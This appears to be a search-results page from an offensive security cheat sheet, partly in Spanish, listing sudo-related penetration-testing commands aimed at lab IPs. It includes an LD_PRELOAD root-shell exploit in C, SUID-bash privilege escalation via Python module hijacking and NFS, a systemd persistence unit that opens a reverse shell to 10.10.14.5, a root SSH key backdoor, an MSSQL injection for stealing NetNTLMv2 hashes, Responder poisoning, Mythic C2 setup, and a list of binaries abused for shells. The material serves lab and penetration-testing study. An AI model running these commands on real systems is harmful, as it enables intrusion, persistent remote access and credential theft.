Search everything
78 results for «sudo» Show all types
Commands 78
-
sudo version (CVE-2021-3156, Baron Samedit)
Linux privilege escalation › Checks › Sudo, SUID and capabilities
sudo -V | head -1 -
What can I run with sudo
Linux privilege escalation › Checks › Sudo, SUID and capabilities
sudo -l -
LD_PRELOAD with sudo (env_keep+=LD_PRELOAD)
Linux privilege escalation › Exploitation › Library hijacking
cat > /tmp/x.c << 'FIN' #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); } FIN gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c sudo LD_PRELOAD=/tmp/x.so programa_permitido - cp Exploitable Linux binaries › lectura, escritura
- dd Exploitable Linux binaries › lectura, escritura
- awk Exploitable Linux binaries › shell, sudo, lectura
- env Exploitable Linux binaries › shell, sudo, suid
- ftp Exploitable Linux binaries › sudo
- gdb Exploitable Linux binaries › shell, sudo, cap
- git Exploitable Linux binaries › sudo
- lua Exploitable Linux binaries › shell, sudo
- man Exploitable Linux binaries › sudo
- php Exploitable Linux binaries › shell, sudo, suid, cap
- pip Exploitable Linux binaries › sudo
- scp Exploitable Linux binaries › sudo
- sed Exploitable Linux binaries › shell, sudo, lectura
- ssh Exploitable Linux binaries › shell, sudo
- tar Exploitable Linux binaries › shell, sudo
- tee Exploitable Linux binaries › escritura
- vim Exploitable Linux binaries › shell, sudo, suid, cap, lectura
- xxd Exploitable Linux binaries › lectura, escritura
- zip Exploitable Linux binaries › sudo
- bash Exploitable Linux binaries › shell, sudo, suid, escritura
- curl Exploitable Linux binaries › descarga, lectura, escritura
- date Exploitable Linux binaries › lectura
- find Exploitable Linux binaries › shell, sudo, suid
- less Exploitable Linux binaries › shell, sudo, lectura
- make Exploitable Linux binaries › sudo, suid
- more Exploitable Linux binaries › sudo, lectura
- nano Exploitable Linux binaries › sudo, escritura
- nice Exploitable Linux binaries › sudo, suid
- nmap Exploitable Linux binaries › sudo
- perl Exploitable Linux binaries › shell, sudo, suid, cap
- ruby Exploitable Linux binaries › shell, sudo, cap
- wget Exploitable Linux binaries › descarga, escritura, lectura
-
Mount
Nmap and service enumeration › Services › NFS (2049)
sudo mount -t nfs 10.10.11.20:/ruta /mnt/nfs -o nolock - chmod Exploitable Linux binaries › sudo, suid
- flock Exploitable Linux binaries › sudo, suid
- mysql Exploitable Linux binaries › sudo
- rsync Exploitable Linux binaries › shell, sudo
- socat Exploitable Linux binaries › sudo
- xargs Exploitable Linux binaries › shell, sudo, suid
- docker Exploitable Linux binaries › shell, sudo
- expect Exploitable Linux binaries › shell, sudo
- python Exploitable Linux binaries › shell, sudo, suid, cap, lectura
- strace Exploitable Linux binaries › sudo, suid
- apt-get Exploitable Linux binaries › sudo
- busybox Exploitable Linux binaries › shell, sudo, suid, descarga
- openssl Exploitable Linux binaries › lectura, escritura
- service Exploitable Linux binaries › sudo
- timeout Exploitable Linux binaries › sudo, suid
- systemctl Exploitable Linux binaries › sudo, suid
- journalctl Exploitable Linux binaries › sudo
-
Capabilities
Linux privilege escalation › Checks › Sudo, SUID and capabilities
getcap -r / 2>/dev/null -
SGID binaries
Linux privilege escalation › Checks › Sudo, SUID and capabilities
find / -perm -2000 -type f 2>/dev/null -
SUID binaries
Linux privilege escalation › Checks › Sudo, SUID and capabilities
find / -perm -4000 -type f 2>/dev/null -
Save a capture
Wireshark y tshark › Capture
sudo tcpdump -i eth0 -w captura.pcap -
systemd service
C2 and post-exploitation › Persistence › Linux
printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service sudo systemctl enable --now upd -
Install and start
C2 and post-exploitation › Mythic › Deploy
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo sudo ./mythic-cli start -
UDP (most common)
Nmap and service enumeration › Nmap › First contact
sudo nmap -sU --top-ports 100 --open -n -Pn 10.10.11.20 -
All TCP ports (fast)
Nmap and service enumeration › Nmap › First contact
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.20 -oG puertos -
Out of band over ICMP
LFI, SSTI, command injection and XXE › Command injection › Blind
; ping -c 2 10.10.14.5 -
Hijacked Python module
Linux privilege escalation › Exploitation › Library hijacking
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py -
Show the panel password
C2 and post-exploitation › Mythic › Deploy
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD -
Can I write /etc/passwd?
Linux privilege escalation › Checks › Write permissions
ls -l /etc/passwd /etc/shadow /etc/sudoers -
Listen on the VPN interface
Responder › Capturing hashes
sudo responder -I tun0 -
Add the domain to /etc/hosts
Nmap and service enumeration › Services › Others
echo '10.10.11.20 box.htb' | sudo tee -a /etc/hosts -
Route to the internal network
Port forwarding and pivoting › ligolo-ng › Set up the tunnel
sudo ip route add 172.16.1.0/24 dev ligolo -
Add the subdomain to /etc/hosts
Web enumeration › Fuzzing › Subdomains and vhosts
echo '10.10.11.20 box.htb dev.box.htb' | sudo tee -a /etc/hosts -
Observe only, without poisoning
Responder › Capturing hashes
sudo responder -I tun0 -A -
Create a SUID bash from your machine
Linux privilege escalation › Exploitation › NFS with no_root_squash
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash -
Create the interface on your machine
Port forwarding and pivoting › ligolo-ng › Set up the tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up -
Use the SOCKS proxy with proxychains
Chisel › More uses
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf proxychains -q curl http://172.16.1.10 -
Add a root SSH key (if you can write)
C2 and post-exploitation › Persistence › Linux
echo 'ssh-ed25519 AAAA... tu_clave' | sudo tee -a /root/.ssh/authorized_keys -
Capture the service account NetNTLMv2 hash
SQL injection payloads › MSSQL › Command execution
'; EXEC master..xp_dirtree '\\10.10.14.5\share';-- -
Reach the victim's local ports (127.0.0.1)
Ligolo-ng › Recent versions (0.6 or later)
sudo ip route add 240.0.0.1/32 dev ligolo -
Turn off SMB and HTTP to relay with ntlmrelayx
Responder › Capturing hashes
sudo sed -i 's/^SMB = On/SMB = Off/; s/^HTTP = On/HTTP = Off/' /etc/responder/Responder.conf -
Does my ping arrive? (confirm command execution)
Wireshark y tshark › Capture
sudo tcpdump -i tun0 icmp